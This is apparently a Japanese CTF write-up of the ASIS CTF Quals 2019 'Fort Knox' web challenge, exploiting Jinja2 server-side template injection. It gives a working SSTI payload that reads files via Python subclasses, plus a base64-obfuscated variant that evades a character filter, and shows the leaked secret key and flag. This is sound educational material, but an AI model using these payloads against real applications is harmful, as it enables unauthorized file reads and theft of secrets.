ASIS CTF Quals 2019 - Fort Knox Writeup

与えられたURLにアクセスすると次ようなページが表示される f:id:iso0:20190423234211p:plain

調査

Check door 1 🚪をクリックするとDoor #1 is lockedと表示されアクセスができない。他のドアについても同様。

question?というフォームにaaaと入力すると次のページが表示される。

f:id:iso0:20190423234443p:plain

ページのソースコードを見ると次の記述がありhttp://104.248.237.208:5000/static/archive/SourceにアクセスするとこのWebアプリのソースコードの一部を入手できる。

    <!--Source Code: /static/archive/Source -->

入手できるコードは次の通り。

question?で入力した値は12行目でテンプレートとして扱われていることがわかる。

t = Template(question)

解き方

入力値をそのままテンプレートとして使っているのでServer-Side Template Injection(SSTI)ができる*1。実際に{{ 1 + 2 }}と入力すると3が返ってくる。

f:id:iso0:20190423235726p:plainf:id:iso0:20190423235737p:plain

次のテンプレートを処理させることでflagにアクセスするための情報が書いてありそうなfort.pyを読みだしたいところだが入力値に._%のいずれかが含まれている場合に弾く処理があるのでこれを回避する必要がある。

{{ [].__class__.__base__.__subclasses__()[40]('fort.py').read() }}

色々試した結果、次のようにすることで制限を回避できた。

{{ []['X19jbGFzc19f'['decode']('base64')]['X19iYXNlX18='['decode']('base64')]['X19zdWJjbGFzc2VzX18='['decode']('base64')]()[40]('Zm9ydC5weQ=='['decode']('base64'))['read']() }}

応答は次の通り。

SECKEY = "some random key for signing 70657529378630738104827452603621"
FLAG = "ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}"
CORRECT_BEHAVIOUR = list(map(int, "34515465413625214253"))
PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ])

def history():
    return session.get("history", [])

def visit(door):
    session["history"] = history() + [door]
    if len(session["history"]) > len(CORRECT_BEHAVIOUR):
        session["history"] = session["history"][-len(CORRECT_BEHAVIOUR):]

def credit():
    credit = 0
    hst = history()
    for i in range(len(hst)):
        for j in range(len(hst) - i):
            if hst[i + j] == CORRECT_BEHAVIOUR[j]:
                credit += j
            else:
                break
    return credit

def trustworthy():
    return credit() == PERFECT_CREDIT

flagはコードに書いてある通り。

ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}

*1:詳しいことは https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti を読めばわかる